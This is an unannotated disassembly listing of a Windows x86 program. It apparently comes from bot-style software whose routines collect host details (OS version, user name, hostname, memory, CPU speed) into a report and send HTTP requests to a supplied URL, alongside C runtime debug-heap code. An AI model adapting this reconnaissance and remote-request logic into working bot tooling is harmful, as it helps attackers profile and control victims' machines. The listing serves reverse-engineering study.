--------------------------------------------------------------------------- loc_41B5D6: ; CODE XREF: sub_41B56E+2Ej cmp [ebp+var_90], 5 jnz short loc_41B600 cmp [ebp+var_8C], esi jz short loc_41B5C7 cmp [ebp+var_8C], 1 jnz short loc_41B5F4 loc_41B5F0: ; CODE XREF: sub_41B56E+66j push 3 jmp short loc_41B5FF ; --------------------------------------------------------------------------- loc_41B5F4: ; CODE XREF: sub_41B56E+80j cmp [ebp+var_8C], 2 jnz short loc_41B600 push 7 loc_41B5FF: ; CODE XREF: sub_41B56E+5Bj ; sub_41B56E+84j pop esi loc_41B600: ; CODE XREF: sub_41B56E+25j ; sub_41B56E+49j ... mov eax, esi pop esi leave retn sub_41B56E endp ; =============== S U B R O U T I N E ======================================= sub_41B605 proc near ; CODE XREF: sub_41B6C1+290p push ebx push esi push edi mov esi, 0F4240h loc_41B60D: ; CODE XREF: sub_41B605+35j ; sub_41B605+3Bj call sub_41BA3E push 3E8h mov edi, eax mov ebx, edx call ds:dword_4F534C ; Sleep call sub_41BA3E sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_421480 mov edi, edx mov ebx, eax test edi, edi ja short loc_41B60D jb short loc_41B642 cmp ebx, esi ja short loc_41B60D loc_41B642: ; CODE XREF: sub_41B605+37j push 0 push 64h push edi push ebx call sub_4214F0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41B6B5 jb short loc_41B661 cmp esi, 50h jnb short loc_41B666 loc_41B661: ; CODE XREF: sub_41B605+55j push 4Bh xor edx, edx pop eax loc_41B666: ; CODE XREF: sub_41B605+5Aj test ecx, ecx ja short loc_41B6B5 jb short loc_41B671 cmp esi, 47h jnb short loc_41B676 loc_41B671: ; CODE XREF: sub_41B605+65j push 42h xor edx, edx pop eax loc_41B676: ; CODE XREF: sub_41B605+6Aj test ecx, ecx ja short loc_41B6B5 jb short loc_41B681 cmp esi, 37h jnb short loc_41B686 loc_41B681: ; CODE XREF: sub_41B605+75j push 32h xor edx, edx pop eax loc_41B686: ; CODE XREF: sub_41B605+7Aj test ecx, ecx ja short loc_41B6B5 jb short loc_41B691 cmp esi, 26h jnb short loc_41B696 loc_41B691: ; CODE XREF: sub_41B605+85j push 21h xor edx, edx pop eax loc_41B696: ; CODE XREF: sub_41B605+8Aj test ecx, ecx ja short loc_41B6B5 jb short loc_41B6A1 cmp esi, 1Eh jnb short loc_41B6A6 loc_41B6A1: ; CODE XREF: sub_41B605+95j push 19h xor edx, edx pop eax loc_41B6A6: ; CODE XREF: sub_41B605+9Aj test ecx, ecx ja short loc_41B6B5 jb short loc_41B6B1 cmp esi, 0Ah jnb short loc_41B6B5 loc_41B6B1: ; CODE XREF: sub_41B605+A5j xor eax, eax xor edx, edx loc_41B6B5: ; CODE XREF: sub_41B605+53j ; sub_41B605+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41B605 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6C1 proc near ; CODE XREF: sub_401C87+2732p var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset word_4F32DE mov [ebp+var_CC], 94h call ds:dword_4F539C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B748 cmp [ebp+var_C4], ebx jnz short loc_41B724 cmp [ebp+var_BC], 1 jnz short loc_41B70E mov [ebp+var_4], offset dword_451564 loc_41B70E: ; CODE XREF: sub_41B6C1+44j cmp [ebp+var_BC], 2 jnz loc_41B7C3 mov [ebp+var_4], offset dword_451568 jmp short loc_41B794 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6C1+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B736 mov [ebp+var_4], offset dword_45156C jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B736: ; CODE XREF: sub_41B6C1+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B784 mov [ebp+var_4], offset dword_451570 jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B748: ; CODE XREF: sub_41B6C1+33j cmp [ebp+var_C8], 5 jnz short loc_41B784 cmp [ebp+var_C4], ebx jnz short loc_41B762 mov [ebp+var_4], offset dword_451574 jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B762: ; CODE XREF: sub_41B6C1+96j cmp [ebp+var_C4], 1 jnz short loc_41B774 mov [ebp+var_4], offset dword_451578 jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B774: ; CODE XREF: sub_41B6C1+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B78B loc_41B784: ; CODE XREF: sub_41B6C1+7Cj ; sub_41B6C1+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41B78B: ; CODE XREF: sub_41B6C1+73j ; sub_41B6C1+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B7C3 loc_41B794: ; CODE XREF: sub_41B6C1+61j cmp [ebp+var_B8], bl jz short loc_41B7C3 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_6 ; "%s (%s)" push eax call sub_41EA60 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B7C3: ; CODE XREF: sub_41B6C1+54j ; sub_41B6C1+D1j ... mov ax, ds:word_451590 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_4E2EA8 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_41B7FC lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41B7FC: ; CODE XREF: sub_41B6C1+12Cj push [ebp+arg_4] call sub_40AEAD pop ecx push eax call ds:dword_4E3008 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call ds:dword_4E2F80 ; gethostbyaddr cmp eax, ebx jz short loc_41B825 push dword ptr [eax] jmp short loc_41B82A ; --------------------------------------------------------------------------- loc_41B825: ; CODE XREF: sub_41B6C1+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B82A: ; CODE XREF: sub_41B6C1+162j lea eax, [ebp+var_3E4] push eax call sub_41EA60 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_4F53D8 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_4F53D4 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_38] push eax call ds:dword_4F5468 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41ED30 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_41738D push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41B51B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEAD pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_41727E pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_41727E pop ecx pop ecx push eax call sub_41B605 push edx push eax push offset dword_4515C8 push 200h push [ebp+arg_0] call sub_41EC30 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41B6C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B975 proc near ; CODE XREF: sub_401C87+2760p ; sub_401C87+7350p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41E4B0 add esp, 0Ch cmp ds:dword_4E30AC, 0 jnz short loc_41B9E9 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_4E2E8C ; InternetGetConnectedStateEx test eax, eax jnz short loc_41B9CA lea eax, [ebp+var_8C] push offset dword_4516A4 push eax call sub_41EA60 pop ecx pop ecx loc_41B9CA: ; CODE XREF: sub_41B975+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_41B9E2 push offset dword_4516B4 loc_41B9D8: ; CODE XREF: sub_41B975+72j push eax call sub_41EA60 pop ecx pop ecx jmp short loc_41BA0B ; --------------------------------------------------------------------------- loc_41B9E2: ; CODE XREF: sub_41B975+5Cj push offset off_4516BC jmp short loc_41B9D8 ; --------------------------------------------------------------------------- loc_41B9E9: ; CODE XREF: sub_41B975+28j lea eax, [ebp+var_8] push offset off_4516C0 push eax call sub_41EA60 lea eax, [ebp+var_8C] push offset off_4516C4 push eax call sub_41EA60 add esp, 10h loc_41BA0B: ; CODE XREF: sub_41B975+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AEAD pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_4516C8 push 200h push [ebp+arg_0] call sub_41EC30 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B975 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3E proc near ; CODE XREF: sub_41B605:loc_41B60Dp ; sub_41B605+1Cp rdtsc retn sub_41BA3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA41 proc near ; DATA XREF: sub_401C87+77BBo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_45170C call sub_41E4B0 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41E4B0 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41E4B0 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41E4B0 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41E4B0 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41BC70 pop ecx push eax lea eax, [ebp+var_358] push eax call ds:dword_4E2EC4 ; InternetCrackUrlA test eax, eax jz loc_41BBE1 cmp [ebp+var_34], ebx jbe short loc_41BB18 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41E510 add esp, 0Ch loc_41BB18: ; CODE XREF: sub_41BA41+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41BB36 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41E510 add esp, 0Ch loc_41BB36: ; CODE XREF: sub_41BA41+DEj cmp [ebp+var_20], ebx jbe short loc_41BB50 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41E510 add esp, 0Ch loc_41BB50: ; CODE XREF: sub_41BA41+F8j cmp [ebp+var_18], ebx jbe short loc_41BB6A push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41E510 add esp, 0Ch loc_41BB6A: ; CODE XREF: sub_41BA41+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push ds:dword_4E2F78 call ds:dword_4E2F9C ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41BBF7 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_4E2F90 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41BBFE push ebx push ebx push ebx push ebx push eax call ds:dword_4E2F3C ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_41BBDA push offset dword_451710 jmp short loc_41BC09 ; --------------------------------------------------------------------------- loc_41BBDA: ; CODE XREF: sub_41BA41+190j push offset unk_45172C jmp short loc_41BC09 ; --------------------------------------------------------------------------- loc_41BBE1: ; CODE XREF: sub_41BA41+B7j lea eax, [ebp+var_55C] push offset dword_451768 push eax call sub_41EA60 mov esi, [ebp+var_C] jmp short loc_41BC0F ; --------------------------------------------------------------------------- loc_41BBF7: ; CODE XREF: sub_41BA41+153j push offset unk_451784 jmp short loc_41BC03 ; --------------------------------------------------------------------------- loc_41BBFE: ; CODE XREF: sub_41BA41+17Bj push offset unk_4517B0 loc_41BC03: ; CODE XREF: sub_41BA41+1BBj lea eax, [ebp+var_55C] loc_41BC09: ; CODE XREF: sub_41BA41+197j ; sub_41BA41+19Ej push eax call sub_41EA60 loc_41BC0F: ; CODE XREF: sub_41BA41+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_41BC3C push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409C75 add esp, 14h loc_41BC3C: ; CODE XREF: sub_41BA41+1D6j lea eax, [ebp+var_55C] push eax call sub_415A3C pop ecx push esi call ds:dword_4E2FFC ; InternetCloseHandle push [ebp+var_4] call ds:dword_4E2FFC ; InternetCloseHandle push [ebp+var_1D8] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41BA41 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BC70 proc near ; CODE XREF: sub_401000+38p ; _0:004011F1p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41BC90 loc_41BC7C: ; CODE XREF: sub_41BC70+19j mov al, [ecx] inc ecx test al, al jz short loc_41BCC3 test ecx, 3 jnz short loc_41BC7C add eax, 0 loc_41BC90: ; CODE XREF: sub_41BC70+Aj ; sub_41BC70+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BC90 mov eax, [ecx-4] test al, al jz short loc_41BCE1 test ah, ah jz short loc_41BCD7 test eax, 0FF0000h jz short loc_41BCCD test eax, 0FF000000h jz short loc_41BCC3 jmp short loc_41BC90 ; --------------------------------------------------------------------------- loc_41BCC3: ; CODE XREF: sub_41BC70+11j ; sub_41BC70+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BCCD: ; CODE XREF: sub_41BC70+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BCD7: ; CODE XREF: sub_41BC70+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BCE1: ; CODE XREF: sub_41BC70+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41BC70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BCF0 proc near ; CODE XREF: sub_4010AA+62p ; sub_401C87+5997p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_41BCFE: ; CODE XREF: sub_41BCF0+36j cmp [ebp+arg_0], 0 jnz short loc_41BD22 push offset dword_43C504 push 0 push 3Ah push offset dword_43C4F8 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41BD22 int 3 ; Trap to Debugger loc_41BD22: ; CODE XREF: sub_41BCF0+12j ; sub_41BCF0+2Fj xor eax, eax test eax, eax jnz short loc_41BCFE mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_41BD41 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_41BD68 ; --------------------------------------------------------------------------- loc_41BD41: ; CODE XREF: sub_41BCF0+43j mov ecx, [ebp+arg_0] push ecx call sub_422420 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_41BD80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_422490 add esp, 4 loc_41BD68: ; CODE XREF: sub_41BCF0+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BCF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD80 proc near ; CODE XREF: sub_41BCF0+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_41BD96: ; CODE XREF: sub_41BD80+3Ej cmp [ebp+arg_0], 0 jnz short loc_41BDBA push offset dword_43C514 push 0 push 77h push offset dword_43C4F8 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41BDBA int 3 ; Trap to Debugger loc_41BDBA: ; CODE XREF: sub_41BD80+1Aj ; sub_41BD80+37j xor ecx, ecx test ecx, ecx jnz short loc_41BD96 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41BE2A mov ecx, [ebp+var_8] push ecx call sub_422F20 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_422DE0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_422CB0 add esp, 4 test eax, eax jge short loc_41BE06 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_41BE2A ; --------------------------------------------------------------------------- loc_41BE06: ; CODE XREF: sub_41BD80+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_41BE2A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_41CA10 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_41BE2A: ; CODE XREF: sub_41BD80+4Dj ; sub_41BD80+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_4010AA+6p ; sub_40ADC9+63p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, ds:dword_4F3374 push eax mov ecx, [ebp+arg_0] push ecx call sub_41BEC0 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_41C2D0+20p ; sub_41C3F0+26p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, ds:dword_4F3374 push eax mov ecx, [ebp+arg_0] push ecx call sub_41BEC0 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEA0 proc near ; CODE XREF: sub_420C30+Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41BEC0 add esp, 14h pop ebp retn sub_41BEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEC0 proc near ; CODE XREF: sub_41BE40+14p ; sub_41BE70+1Ap ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041BF28 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C548 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi loc_41BEE3: ; CODE XREF: sub_41BEC0:loc_41BF4Dj push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_41BF80 add esp, 10h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41BF1D jmp short loc_41BF28 sub_41BEC0 endp ; =============== S U B R O U T I N E ======================================= sub_41BF1D proc near ; CODE XREF: sub_41BEC0+56p ; DATA XREF: _1:0043C550o push 9 call sub_423320 add esp, 4 retn sub_41BF1D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BEC0 loc_41BF28: ; CODE XREF: sub_41BEC0+5Bj cmp [ebp+var_1C], 0 jnz short loc_41BF34 cmp [ebp+arg_4], 0 jnz short loc_41BF39 loc_41BF34: ; CODE XREF: sub_41BEC0+6Cj mov eax, [ebp+var_1C] jmp short loc_41BF4F ; --------------------------------------------------------------------------- loc_41BF39: ; CODE XREF: sub_41BEC0+72j mov ecx, [ebp+arg_0] push ecx call sub_423170 add esp, 4 test eax, eax jnz short loc_41BF4D xor eax, eax jmp short loc_41BF4F ; --------------------------------------------------------------------------- loc_41BF4D: ; CODE XREF: sub_41BEC0+87j jmp short loc_41BEE3 ; --------------------------------------------------------------------------- loc_41BF4F: ; CODE XREF: sub_41BEC0+77j ; sub_41BEC0+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41BEC0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_41BF80 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF80 proc near ; CODE XREF: sub_41BEC0+44p ; _0:0041BF6Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, ds:dword_4517E0 and eax, 4 test eax, eax jz short loc_41BFCC loc_41BF9C: ; CODE XREF: sub_41BF80+4Aj call sub_41D1D0 test eax, eax jnz short loc_41BFC6 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 14Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41BFC6 int 3 ; Trap to Debugger loc_41BFC6: ; CODE XREF: sub_41BF80+23j ; sub_41BF80+43j xor ecx, ecx test ecx, ecx jnz short loc_41BF9C loc_41BFCC: ; CODE XREF: sub_41BF80+1Aj mov edx, ds:dword_4517E4 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, ds:dword_4517E8 jnz short loc_41BFE1 int 3 ; Trap to Debugger loc_41BFE1: ; CODE XREF: sub_41BF80+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call ds:off_451BB0 add esp, 1Ch test eax, eax jnz short loc_41C064 cmp [ebp+arg_8], 0 jz short loc_41C037 loc_41C00C: ; CODE XREF: sub_41BF80+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_422610 add esp, 1Ch cmp eax, 1 jnz short loc_41C02F int 3 ; Trap to Debugger loc_41C02F: ; CODE XREF: sub_41BF80+ACj xor edx, edx test edx, edx jnz short loc_41C00C jmp short loc_41C05D ; --------------------------------------------------------------------------- loc_41C037: ; CODE XREF: sub_41BF80+8Aj ; sub_41BF80+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C057 int 3 ; Trap to Debugger loc_41C057: ; CODE XREF: sub_41BF80+D4j xor eax, eax test eax, eax jnz short loc_41C037 loc_41C05D: ; CODE XREF: sub_41BF80+B5j xor eax, eax jmp loc_41C28C ; --------------------------------------------------------------------------- loc_41C064: ; CODE XREF: sub_41BF80+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41C086 mov edx, ds:dword_4517E0 and edx, 1 test edx, edx jnz short loc_41C086 mov [ebp+var_C], 1 loc_41C086: ; CODE XREF: sub_41BF80+F0j ; sub_41BF80+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41C097 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_41C0C3 loc_41C097: ; CODE XREF: sub_41BF80+10Aj ; sub_41BF80+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C0B6 int 3 ; Trap to Debugger loc_41C0B6: ; CODE XREF: sub_41BF80+133j xor edx, edx test edx, edx jnz short loc_41C097 xor eax, eax jmp loc_41C28C ; --------------------------------------------------------------------------- loc_41C0C3: ; CODE XREF: sub_41BF80+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_41C110 cmp [ebp+arg_4], 1 jz short loc_41C110 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41C110 cmp [ebp+arg_4], 3 jz short loc_41C110 loc_41C0EA: ; CODE XREF: sub_41BF80+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_19 ; "%s" push 0 push 0 push 0 push 1 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C10A int 3 ; Trap to Debugger loc_41C10A: ; CODE XREF: sub_41BF80+187j xor edx, edx test edx, edx jnz short loc_41C0EA loc_41C110: ; CODE XREF: sub_41BF80+14Ej ; sub_41BF80+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_4234C0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41C135 xor eax, eax jmp loc_41C28C ; --------------------------------------------------------------------------- loc_41C135: ; CODE XREF: sub_41BF80+1ACj mov edx, 